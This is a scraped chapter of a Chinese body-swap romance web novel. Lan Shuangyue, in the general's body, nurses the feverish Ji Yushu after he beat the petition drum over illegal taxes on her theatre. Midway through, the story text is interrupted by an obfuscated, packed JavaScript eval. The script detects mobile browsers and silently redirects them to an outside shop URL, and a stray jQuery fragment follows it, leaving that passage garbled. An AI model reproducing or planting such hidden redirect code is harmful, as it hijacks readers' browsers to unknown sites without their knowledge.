文趣网 > 都市小说 > 糟糕!和阴翳将军互穿啦! > 22. 第 22 章
    又到了三日一通信的日子。

    蓝双月午后才得了闲,便坐在窗下理那几页纸。近来神武营中倒也有不少琐碎趣事,譬如有人嫌营中墨汁不好用,偷偷换了外头铺子的墨;又譬如几个年轻兵士为了争一只养在营里的小猫,竟闹得面红耳赤,最后还是叫她一句话分了个明白。她原觉得这些都是无关紧要的小事,可想来想去,竟也有几句想写给冀玉书听。

    写到一半,却忽然停了笔,只觉今日格外安静。往常这个时候,金玉堂总该有人送信来。

    她等了半日,不见人影,起初只当是冀玉书有什么事情耽搁了,毕竟他实在是个忙人。到了傍晚,仍旧没有消息,她心里这才渐渐生出一点说不清的烦躁来,便叫人去问了一声。

    这一问,竟问出一桩事来。

    金玉堂又被反复征税了。

    前一回的税银才刚料理妥当,如今又添了新的名目。底下的人几番周旋,事情却迟迟压着没有结果。告诉冀玉书之后,谁知冀玉书竟没有再往衙门里递帖子周旋,反倒去了登闻鼓前。

    蓝双月听见“登闻鼓”三个字,不由地皱起眉来。

    按着旧例,有冤屈者自当先经所属衙门,层层申诉,若仍不得理,方可越级陈情。登闻鼓虽是给天下人留的一条直达天听的路,却也不是随便敲得的。既要惊动圣听,便也要担得起惊动圣听的后果。

    她忽然明白过来。

    冀玉书这是打定主意,要先把这件事闹到皇上跟前。只是闹到皇上跟前,哪里能只凭一张嘴。

    蓝双月脸上的神色慢慢淡了下来,半晌才问:“他人呢?”

    来人低声道:“已经回了金玉堂。”

    她心里稍稍一松。

    谁知下一句话,却叫那口气又提了起来。

    “只是……听说月娘子伤得不轻,还发了热,人一直没醒。”

    屋里静了一瞬。

    蓝双月手边还放着那封写了一半的信,墨迹未干,最后一句只写了半行,便停在那里。

    她想着想着,忽然又觉得,自己这些日子未免把冀玉书看得太过轻松了些。总以为他手腕周全,凡事皆有安排,却忘了这世上哪里有无缘无故的顺遂。只是人人都只看见他的从容。

    她坐了片刻,忽然起身,将桌上的信收进袖中,而后吩咐道,“备车!”

    蓝双月赶到金玉堂时,天色已经暗了下来。

    她一路上虽急,却也强忍着没有催促,只想着冀玉书向来不是轻易叫人担心的性子,或许事情并没有旁人说得那般严重。可等她真正进了内室,看见床上躺着的人时,心里还是不由沉了一沉。

    那张脸,她再熟悉不过。只是从前照镜子时,看到的是自己,如今再看,却觉得有些陌生。明明还是她的眉眼,她的身体,偏偏里面住着的是另一个人。

    此刻那人安静地躺在那里,脸色苍白,连平日里惯有的冷厉都淡了几分,倒叫她一时忘了这是自己的身体,只觉得眼前这个人,病得让人心里发紧。

    旁边的大夫见她来了,忙将这几日的情形细细说了一遍。蓝双月也未急着多问,只坐到床前替他诊了脉,又亲自查看伤处。她本就是学医之人,这些年所学所见,早已融进了习惯里,凡遇到病症,总要先看个究竟。

    那伤口瞧着虽不算太深,可到底是在外受了刑,又一路奔波,之后也未曾好好调养,人的气血本就亏虚,再加上伤处未免有些感染,才渐渐起了高热。

    她看完之后,只轻轻皱了皱眉,道:“原来的方子不算错,只是药性太缓了些。”

    说罢,她取来纸笔重新拟了一张方子。她这些日子在神武营待得久了,对军中的伤病和这个时代的常用药材又多了几分了解,如今写起来也十分顺手。

    一旁的人见她如此,心中未免暗暗称奇。原想着昭武将军这样的人物,平日里不过问些军国大事,哪里会留心这些伤病琐事。谁知今日竟亲自看药、问伤,连其中几处细节也不肯疏忽。

    众人虽不敢多言,心里却都觉得,这位素来叫人敬畏的将军,倒有几分旁人未曾见过的温情。

    药煎好送来时,冀玉书仍未醒。

    高热之中,人总有些神志不清,药送入口中,也只是勉强咽下几分。蓝双月看着那副模样,眉头不由皱了起来。

    白檀在一旁看着,几次想要上前接过药碗,却又见蓝双月神色专注,不敢贸然打扰。直到试了几次,药仍不能顺利送下,她才低声道:“将军,还是让奴家来吧。”

    蓝双月却摇了摇头,神情自然道,“不用,我来。”

    她先扶着他坐起一些,见药仍难以下咽,便只能自己含了一口,俯身将药一点一点渡过去。整个过程不过为了让他能服下药,可等到最后一口药送完,她的动作却微微停了一瞬。

    白檀早已悄悄垂下了眼。

    她虽不明白其中缘由,却知道这样的举动,实在已经不是寻常照料病人的方式。只是眼前月娘子在昏迷,昭武将军又不是她们这些小喽啰能得罪得起的,她自然不敢多看,更不敢多问。

    蓝双月却像是此时才意识到什么,眼前这个人,用的是她的身体。可此刻被她这样照顾的,却又是冀玉书。

    他们二人之间的这场变故,本就荒唐得世间少有。如今连这样亲近的举动,也因为这副互换的身体,而变得说不清又道不明。

    她低头看了他一眼,心里忽然生出几分复杂的滋味。

    原想着等他喝下药,情况稳定些,自己便回神武营去。可坐在床边看着他昏睡的模样,蓝双月却又想起这些日子以来的种种。

    冀玉书这个人,似乎总是不肯只看眼前的一步。他遇见事情,从不只是想着如何避过去,而是总要弄清其中的根源,而后从根源处着手解决文通。

    她曾想过替他理清冀家的那些麻烦,让他早些摆脱那些纷扰,过安稳的日子。可她现在确认自己当时的想法真的是大错特错。

    他若只是想让自己过得安稳,大可以凭着自己的身份,凭着手中的权势,让许多事情变得简单。以他的地位,有些不公之事,他完全可以视而不见;有些麻烦,也可以用更直接的方式压下去。

    可他偏偏没有这样做,他想要的,从来不是叫旁人因为畏惧他而低头。

    蓝双月忽然想起他说过的话。这个世道或许并不尽如人意,可若只是抱怨,或只是随波逐流,又能改变什么?

    所以他才一步步走到今日的嘛?她看着他,陷入深思。所以想要站得更高一些,手里握住更多的话语权。不是为了让别人听命于他,而是有朝一日,能让那些原本无人过问的事情,有人去管!

    冀玉书醒来时,屋里只剩一盏孤灯。

    他先觉得头上的疼意已经淡了许多,身上虽还有伤,却不似先前那般沉重。意识一点一点清醒过来,方才看见床边伏着一个人。

    他怔了怔。

    那是他的身体。穿着他的衣裳,伏在他的床边,睡得安安静静。可里面的人,却是蓝双月。

    冀玉书静静看了许久,竟没有立刻出声。

    这些年来,他身边并非无人关心。冀家有亲随,军中有旧部,身旁也有愿意替他效命之人。他受伤时,自有人替他寻药;遇事时,也有人替他奔走。只是那些目光,多半落在他的身份上。

    他们敬他,信他,也依靠他。却少有人会在他病得不省人事的时候,守在这里,只等他醒来。

    他向来不觉得这有什么。久了,便也习惯了。可此刻低头看见自己的身体守着自己,冀玉书竟觉得有些说不出的荒谬,偏偏这荒谬之中,有一种莫名的安心。

    他忽然想起蓝双月这些日子说过他厉害,说他似乎什么事情都能解决。可她不知道,他并非真的什么都不怕。只是有些事情,若不提前想好,他便无法安心。

    所以他习惯守口如瓶,习惯多留退路,习惯将所有可能发生的事情都握在自己手中。旁人看见的是他的周全,却未必看见,那周全背后的不安。

    冀玉书垂下眼,看了她许久,心里忽然有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802175|208638||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一种很淡的异样。

    也不知过了多久,他稍稍动了一下手臂。也就是这一下,令蓝双月醒了。

    蓝双月睁开眼时还有些怔,仿佛一时忘了自己身在何处,待看清床上的人已经醒来,才猛地坐直了身子。

    “你醒了?”

    她的声音里还带着刚睡醒的沙哑。

    冀玉书应了一声。

    蓝双月下意识伸手探了探他的额头,确认那热意已经退下去些,这才松了一口气。

    冀玉书看着她的动作,眼中掠过一丝极淡的笑意。

    蓝双月却没留意,只向窗外望了望,估摸了一下时辰,才发现自己竟睡了这么久,不由有些意外。

    这些日子在神武营,她过得其实很充实,并没有什么难捱的地方。只是日日见伤员,还要理那些琐碎事情,最主要的是她毕竟不是真的将军,总有怕露怯的时候,心里总像悬着什么,夜里也不曾真正睡得安稳。今日忽然睡过去,连她自己都觉得奇怪。

    至于这一觉究竟是因为对金玉堂有种熟悉的依赖,还是因为眼前这个人躺在自己的身边,一时之间,她也分不清。

    “觉得怎么样?”蓝双月见他醒了,先是松了一口气,随即又皱起眉来,问道。

    冀玉书略动了一下,只觉身上虽仍有些疼,神志却已清楚许多,便道:“还好,没什么大碍。”

    蓝双月听了,便冷笑道:“你们这些人倒是有趣,什么都能说一句没事。伤成这样还叫没什么大碍,若真到了有大碍的时候,岂不是连话都懒得说了?”

    冀玉书看她一眼,见她嘴上虽说得厉害,眼睛却一直落在自己身上,便也不与她争,只道:“那依月娘子的意思,该如何?”

    “如何?”蓝双月瞥他一眼,“我们这种寻常百姓,遇见这些事情,自然是能忍则忍,能周旋便周旋。好不容易把事情料理下去,谁还愿意再去招惹那些当官的?你倒好,仗着自己是昭武将军,竟跑去敲登闻鼓。”

    说到这里,她又想起金玉堂往后的日子,不免有些发愁,道:“你如今是痛快了,可我们换回来以后呢?跑得了和尚跑不了庙,金玉堂只要还在京城一天,那些人若记了这笔账,往后只怕少不得还要寻麻烦。你是将军,自然不怕,可我这戏楼还要开下去呢。”

    冀玉书听她说完,沉默片刻,才道:“正因为如此,我才没有拿将军的身份去压他们。”

    蓝双月一怔。

    “若我只是想叫他们怕我,大可以凭着这身官服,把事情压下去。今日他们怕了,明日换个人来,照样如此。”他顿了顿,声音仍旧不疾不徐,“以势压人,不过能解一时之困,终究不是根本的法子。朝廷定下的税银是多少,百姓便该交多少。多出来的那些,既不是朝廷所收,总该有人问一句,究竟进了谁的口袋。”

    “我知道,凭我一人之力,改变不了多少。”冀玉书低声道,“这世间积弊已久,并非一朝一夕便能尽除。可若人人都只想着自己无能为力,便无人肯往前一步。今日一桩小事无人过问,明日便会有更多人受其所害。我未必能改了这世道,可总要有人去做。否则,受苦的便永远只是那些无权无势的百姓。”

    蓝双月看着她,心里满是赞赏!她本该说一句“你做得对”,可话到了嘴边,偏偏又变成了:“道理倒叫你都占去了,只是你这一身伤,也是道理给你打出来的?”

    冀玉书看了她一会儿,忽然笑道:“听这话,倒像是有人心疼了。”

    蓝双月脸上一热,忙道:“你少胡说。我只是心疼我的身体。”

    “哦?”冀玉书眉梢微动,“原来如此。”

    蓝双月见他那神情便知道他故意的,越发不自在起来,道:“你如今用着我的身体,自然要小心些。你若留下什么伤疤,将来我怎么办?”

    冀玉书忍着笑,道:“那倒是我的不是了。”

    “本来就是你的不是。”蓝双月撇撇嘴。

    “既如此,”他慢悠悠道,“还请月娘子替我想个法子。”